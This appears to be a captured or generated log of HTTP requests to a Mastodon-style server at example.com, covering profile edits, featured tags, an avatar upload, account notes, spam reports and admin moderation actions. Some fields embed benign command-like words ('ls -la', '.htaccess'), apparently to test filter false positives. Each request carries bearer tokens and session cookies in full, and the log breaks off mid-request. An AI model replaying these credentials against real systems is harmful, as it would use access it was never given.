{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=QdjxiOKfowIwXm6AOVGgxztXwBYkKbHA2HFToC5mLnYdIB5HHfLo%2FY0w3weCqZjQbgJbj7bUb5lrjMrfLVBMTbBgHp8nA%2BS8xL3FwNIRqyAZESfFP7giOIUjy7FV8Su6bn2t7UnOYrQst8%2FxP6%2FBrUyIgDGBE3P7r0jxriwqJDnFa0Ij0BPvGUyJVODuxatTNls7jk0auFyEt0fTGt5TkDWLZLSsXWxs26SQvQ1alcaX9FdVtsCInrnIFWo0AghKMhX8mOR4zuQbGA3%2Fclnn9Olgosr9qIvcIeRLkqN%2FR3UvUBO6g62JWvbG2ykUCLlHChsfBMwfR6pfj4OnX3ghKU%2FCELC81p8KQBEmxfJRtvEq2J2UbUgIdM1gTNDj7PeKVDl04GXKqiZr--AZ5neELoodWXkuwu--c3TxcFZKezA3QuJeOm8%2BEg%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"}]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=np%2BSO2W%2BhEaItbiw7pcqP3GMww%2BaNyN8mFeiJZWM3I8SKCaRL7U0n2FtZv9vHtYUJ7uM%2BA8XLLpn4fZx7DY1GNGOcYmuRhVnh6fGxljWuwQwQ%2F3IU4Ke25ljtQvPEW%2FwJbqp0G4%2FggC9SeJnbeEfpKL4MG7s7EA8ZBo%2FwHR1ASGklOs5t%2Bqvl0sAmASfFf%2BTuSbTsx3ew%2FlqfnSoaw11GTfXP1A9TrjnpCwM8PQu400xlUbVvOMLAn%2FKdJBISIB5qSiBPIUFdoWUWikjYrLU%2FZK6jBt0acG62Y4VLSPd11dUn5RpRk03Zs%2FL1%2FkJ78PkotvQTzb1qMp8KzDAzd1Xg8XnRCfG8%2FdW5zLteRF53yuCPnBDIo0Ds3Rv1ghZ99%2Bq1RKL4zLJqPOw--WLydzqrbPf8PEjEO--3USamBP7qv1OUsxaTBYABw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"},{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}"}
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 18", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=iASEJi70GztXcgihLjVGCXxNppupQGotMNrektUFigv948koCNqwO%2FCeod1WYBqXcf9TkFK6HGnnzJSHF241Pv1x3YB2h0v2jvV%2FdT5fGx0ZLXS7gGIViJW9AmRlTbT5%2F8p9AEt3yjQdaGYGfZKVs4o1y0gDNEx8p%2FILC0mHW5C9jWSWm0E844eGJfJcjLQhJyCk7PHLCFDRf8socc7vpkM%2FgbSPtSYi%2ByDHbDvHGowWknJyDLMcQvmLb8kHfwiaYDiE1CB3PL2CoKjilTZLQbRfTARUUcqe%2BZnr2e%2FBi1CTVxFSZdXUafxkjIBEJEIDVIXxg1YICattCY4SW9eaRcAU1jRnuch15pqsxIpg2ijId%2FgHddr0l%2Fz4%2FREXqJ5YBdsnR1M1iz3T--Ti44%2B%2F9qwplNRaCZ--iFHRvuVRCCe1aDFEUTc5rQ%3D%3D"], "body": "{\"name\":\"python3\"}"}
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 21", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=kBpCTb%2Fs9pz7r0A%2FxuRjtz7wTK%2B1nZh5ar6YpVBKLUeVhPuK3iI6durBb6D0rFYqNf2hjhbWVxC5mdniK5B6wN1lY93uWJN1Fxq5VSDx%2Fq8w4Am7m4i8HZrgZZ5YGtsPLvalJeWChkcufsiyTWW2L6KXxVuhcDgqkRQn5RhDWGRlfPyeCA92jazY31llKOiAsvFqXLJHwi7RiIJZg1ELxhJuuqY93jkgFL6vDoGJZ%2BY%2Fql9ThbD2uEmCzktVg5uk5CzB1sT1SZJxVHtC1gfiBNHm58gp3Odv2XEsIWuQjqVIFteXWBKJjoyDZpqrhAh153aZ%2Flq31yr0VMqItgHq62qzk7sWhUiCoe1VNTdO4HFNoabPk%2B10ruC1CM1WxbwrR4VnjxMV9UcQ--vtrCsDBemzMHiU%2Bt--oGMwYJCMy9csBzOoOeB96A%3D%3D"], "body": "{\"name\":\"powershell\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NWnoxDFn3yCNZabHutTdudK7RSCsSloa8GptCAAMslib3y6DXLqVlDwJVJ0r4RpVVZ6q8QuJ5jH3uk_DnAuAsg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQtXWPO5ykB3KVSy", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDQ6NDYuMTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--bb85fcba42b324d857482972dca81ead94586237; _mastodon_session=4qzmIiZPuYUqy9D7hgtAo9xCQ6Z%2BPaSMbSycfIvQINpJ8FdNFePSMCED0N9TkoSIYa0xKJ1RY8bj0xAPWgUQi9XuTERslq3t8NVgKyUlDbvLkrfZ%2BLKxqyGqhmQI05CwDVFARYqwUkFihTQ8bHCb%2BvSHiLAnxXqn27czcbt3iB4Db9%2F2baT8GKIdU0G%2FJS1%2FAqN%2FV8dcOXaNxHLZjh%2Ffn0pXSis3M9NErWguFz7BNksbLvAFYUOYiLhO4J76%2F%2BqyJpxPZ2LMap2eAHhI6N55zk3iz7nOKZ753aIbGJbAn8p7qjL2P5v9UHYrqMfUks%2FwrU0OkBGLIA6J2acoGHp9oua%2Fiz487uq2bw%2BFt55%2FKQBc33YjyKzxsRdjVLXwA5e7TJ58ruQrKrmY--w6cnBJVBHRI5at36--V9SAznJN5niMY%2Fgq4Q9Z6Q%3D%3D"], "body": "------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"blob\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0006\u0000\u0000\u0000szz�\u0000\u0000\u0000;IDATx\u0001���\t\u00000\b\u0003��4\u001d�cw+\u001d�� \u0017�?�/�����\u0019�\u0001\u0004\b\u0010 @�\u0000\u0001\u0002\u0004\b\u0010 @`�@w�\u000b\u0000\u0000���'E�\u0000\u0000\u0000\u0006IDAT\u0003\u0000?yH!1�\u0005\u0015\u0000\u0000\u0000\u0000IEND�B`�\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar_description\"\r\n\r\nAn orange square\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy--\r\n"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 35", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 2VaOWYDfyXC2LhO3gcv7d7Tb2HaWBKeAu-DDzSC9E4x34Ege7QKDxAdC4e0Q_jybM_43pzHHG6u8MOEGvLohZg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDU6NTAuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--73cc8591126b052478f2a87b3ad44c8e781cbc97; _mastodon_session=En59h1FyCIi%2BBw4Ammp81QF8ijp003GDVJ2LZWhzNe8xG95JRY1UMfC74zHxFEApCp8g3L%2F2iYpjTgvRrlQYjBHYfA16oVFWdm3VmF%2FHHQC%2Bj9w3j04CSrGzuSOwe0MCgqC64SQga41LGicHGONyt%2Foyg8Brw9heW6UXIfdF4JHnxTNGcdqVwBA4uukJnnQitPr9jhFMoFukbU1ONH9e63u0oo9%2B6oG4didf7DPDhK8vX2LkLpm9%2FcUVzoiDq7p%2BDYw4PH2BHEOaeYSTsWfJ%2BhpFEZyEnJnqo1JqbQDj4COXw4b3pJJgYjD0Z1D5AoK%2FuT6UhJIYx%2BQboX5QUd8qV0ickHqN7wK00rojVRsTUFInWf69tew2NnBm4UTjDNDbKyTkuTknBY1Y--sFObJ3y%2FL30bK2Dm--hjwKHU33NgREGRsF68EHSg%3D%3D"], "body": "{\"comment\":\"Met at the river walk\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: j7fVhw0PbocEXGuNMzz0DNlZ2bPncNyq4Pp9j1nCSiEhARPAYNIkM7UwmdeiCTPgXnw2YkCzYIHnKl9ExcV4yw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDY6NDAuMTE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--765e600d35f9ae7e4e9d1544501f9428a349fdfa; _mastodon_session=%2Fe%2BrT21g0aBpcxP5axoWyml0417RkDc5JKAfDrBLgojDxwBMHfjFbi4waZ03p5ib665Hd%2F6z961yYughQKf%2BsKAHV2a8HRZKfDzKs5Z79v6Tl8wheULcN5bOpsQw4E9NPRNHcsnn1AxFY4E8kWHyyTOqnBciXNUY1MxQWqlJX1OQSRKc33fvVXtV9zbx5EzBlrldoGbn%2Fdqk6o7d2zFbZ4x6ghM0m7hBVSVQMntPPXTUlGeyVGHdUaQ%2FgnkfQOu8qPsCiwBYr%2BoXP4tbuCFyWYTTjY1VlncQWRYvauLQM7qPU%2BxMC4N6NjUR841p7dQf0l7ChYvnHBlu3o1tJMdvz3J2R35KyideQtxmEnHn6cT8Dj07dNShM9a81Afo6IcmSTv4ZU0C9d8%2F--0dt91hvvP%2BqR2KjZ--4pVuR%2FdZdONGdL53Y3Dt0A%3D%3D"], "body": "{\"comment\":\"Knows python3, powershell, ls -la and .htaccess\"}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: E0siLuH6sdkYpyM3LeCmV-3YzQ0RCuiMKT_Tbic_oEa9_eRpjCf7banL0W281WG7av0i3LbJVKcu7_GluziSrA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MDYuNzE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a6c0e21785394d921496cb35dc39f7580c93d132; _mastodon_session=u4a2MTZ325LIR%2BWJ5YGTOs%2BNftgwAv23iV%2FGZu16v6Zcm69X6PKtABOLmpHsiHcyHKv8LrW4KJGe4mx%2BUQRumCvZAq%2FKE9yNgjIfZdhOHPyYAyq1NZNVcGCBPRZC0qm%2BT1CqJhulHFEICg8olSfqJcRerBkITQz4laa0JPT8krUCWCieIf2C5rXEOIFm%2B2it9sPJVR2Lg5F%2BDszTgXwq1HSWpgGrtEENvGEOfFf8FhDDPyLqbMWdQy5uTUg46rBaeYXmDoHR8uyPxt3Zwymey8esTGyFizr8tH3OkeESooRym%2FkS3kDQ0VyTmHPu0zDRo2HeW3Mw2e%2BEMl3FuBsimiXUVzgZuSD85CxnkVNsuJAS4TaEjjSEouBXwKVxs1L68AR8UWBJP8lW--jeTED4Oq%2BNmJoKfY--TpWbjvMsVdjrdzMnyecQ%2Bw%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Sends the same link to everyone\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 209", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 9KJAnZHXgScACqpgvxl4Ftv8ful9a2bFxANlW6lW88JaFIba_ArLk7FmWDouLL_6XNmRONqo2u7D00eQNVHBKA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MTcuNTcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--df011016d3d6395bc07d5fbab2917b9ef01a8e35; _mastodon_session=ZSFe6VxK3GQHqSBd2cVefbuCmdqHly4L1A5K%2BvlqoI83JBWoOhcVZObG9nxk7qNSDzgBNvp8ZFFIvNwUBHB%2F%2Bkb7WIiDEMTNvH1UMmO1rQCeH9marL4ulamke0AMne6389leKqL%2Bze%2FKuQNrQg6r5TAa3An8Nen5CKREfSMRHR2QNTKCUJp3bLR4B5Ubyt1Qy5OL%2Fkkpmx5riqaAV7MJwbHSECJuB1%2Bf%2FVSwjGZl7mmJpSABDvizySUg6kkl7bwFH04C7AEtrrZYv3eNOl7Qzp7haCzet9e%2F647Zy4Ml2E2WfeVxKu3rBUOsJXcWG2XZILdgY85d8FZAfbytqmbDfbIUkWvr%2BrMtsAQqTbAedmAuJbKlScIoOFPnxkJC9JK3wMRzY35c8NTm--VQ76Hd7RC74zSjYN--9mLfXZKIao2FJ82ZP0Ms8Q%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Posting python3 and powershell malware, ls -la output and .htaccess files\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjQuMjA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--30f32bf3938306e75330204cdaf3dca6350d9bb1; _mastodon_session=9UzPVoLqh3MebAD4cs2shX2oYrqBzen6MFx5qsRRQt8WG7DPetvif5EZT3MhS%2FSjR9FmpcLO%2Bt%2FMxmSSCFk8ZPWsC5AkyE6hZ%2FAJ1eKM6%2Bk921J%2BMD6WHVNSPBfdlPK2vbxC1PK2Qj6RVHiC2vLplH%2BdpzKuf3OYO%2BQ4EgUFUrpH1ofLYietyEkWs%2BfYBR8CUFaE7dEs%2BsXoAJMzZJ0eo%2Bps2rRpPqWCKy99DIfaCrXWkc5njXEjk9l5gtFVu6%2F8pTDVc2eIU%2Fs%2BwPmHgLulXlAigsdlqO9aDNc0j2OE0hWg%2B%2Be%2Fxh5ij%2FRpYx9eXaUSb9HjgLANEIhQO%2FiyjFM%2F7xeKpt60FOAN64yhEvOulH7L1yW7kI02m%2BpMH1UPvachQcKejfaiVoMh--PYdTFXIV4lv%2BSVOK--I4hoMUTMbpp6luFL4lXrpA%3D%3D"], "body": "authenticity_token=LmOxIUYJN1QU7P6b0jV_4aaDb3_ciZxm-sO8dJrIjF6G6z2KZOQV6sCug7wW7PWkznbGRNw7D9pJ2xvriQx79Q&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Btext%5D=Please+stop+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+malware+links.&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e5a66d06b8b6c838fbd37de11df65caabf8e00b5; _mastodon_session=pn21mIacyCKbwKtmFiXkH%2FiQ5ZBziB1JPrfxyI2vYzNu8vRf3x4H2z%2BTgoC2ERvMAPeYuWBA8f4dHxsxcmJBnhm9yrmrAO5kzfBmM79wVjyrLZftCo6naNItylxTE626TLJgI4sEKxnS17muxPQCbb22tN9iX4hGg9Fa%2BZDcG6Qsjl784EqcaBTGDP36jwyl2uihapGmeOuSTimuafE3ZSs9EYCmRWInESCiq1G%2BrVmua080xw1ucZ0qioegH1qnwimbo2McV4Y3aKW6PwRyGhy4CUiizYStXNC7%2FXGOG26Uhv7Gc5P%2FuYHnOlbXFbdRCm0uQL1S9Ky1Q2axsF0%2BiceH5iWK9LwGgYoRnK1K%2BwUtI8S1mWyQoqykxNaPnjBy20YAfoz92HMa--zBrAAo7nfjk8Uv0S--bzSPk5ohcKC6JNArL%2FcYAA%3D%3D"], "body": "authenticity_token=aruV4OSbSjybQePcigqioRLpq2wyrVY-4hFvDxdzgIzAm5yewV3MSCOrn8EFRY_klzQHr1MBzk45Ykq5HXkJdg&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=Checked+the+links%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 292", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: 